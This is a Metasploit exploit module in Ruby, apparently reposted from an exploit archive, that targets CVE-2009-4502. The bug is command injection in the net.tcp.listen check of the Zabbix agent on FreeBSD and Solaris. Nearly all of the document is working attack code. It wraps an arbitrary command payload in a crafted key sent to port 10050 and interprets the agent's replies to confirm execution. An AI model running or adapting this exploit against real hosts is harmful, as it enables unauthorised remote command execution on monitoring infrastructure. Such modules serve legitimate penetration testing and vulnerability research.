Zabbix Agent – ‘net.tcp.listen’ Command Injection (Metasploit)
## # $Id: zabbix_agent_exec.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Zabbix Agent net.tcp.listen Command Injection', 'Description' => %q{ This module exploits a metacharacter injection vulnerability in the FreeBSD and Solaris versions of the Zabbix agent. This flaw can only be exploited if the attacker can hijack the IP address of an authorized server (as defined in the configuration file). }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '2009-4502' ], [ 'OSVDB', '60956' ], [ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'], ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'BadChars' => "'", 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 10 2009')) register_options( [ Opt::RPORT(10050) ], self.class) end def exploit connect rnd_port = rand(1024) + 1 buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n" print_status("Sending net.tcp.listen() request to the zabbix agent...") sock.put(buf) res = nil begin res = sock.get_once(-1, 5) rescue ::EOFError end if ! res print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.") disconnect return end if (res =~ /ZBX_NOTSUPPORTED/) print_status("The zabbix agent is not running a vulnerable version or operating system.") disconnect return end if(res !~ /ZBXD/) print_status("The zabbix agent returned an unknown response.") disconnect return end print_status("The zabbix agent should have executed our command.") disconnect end end |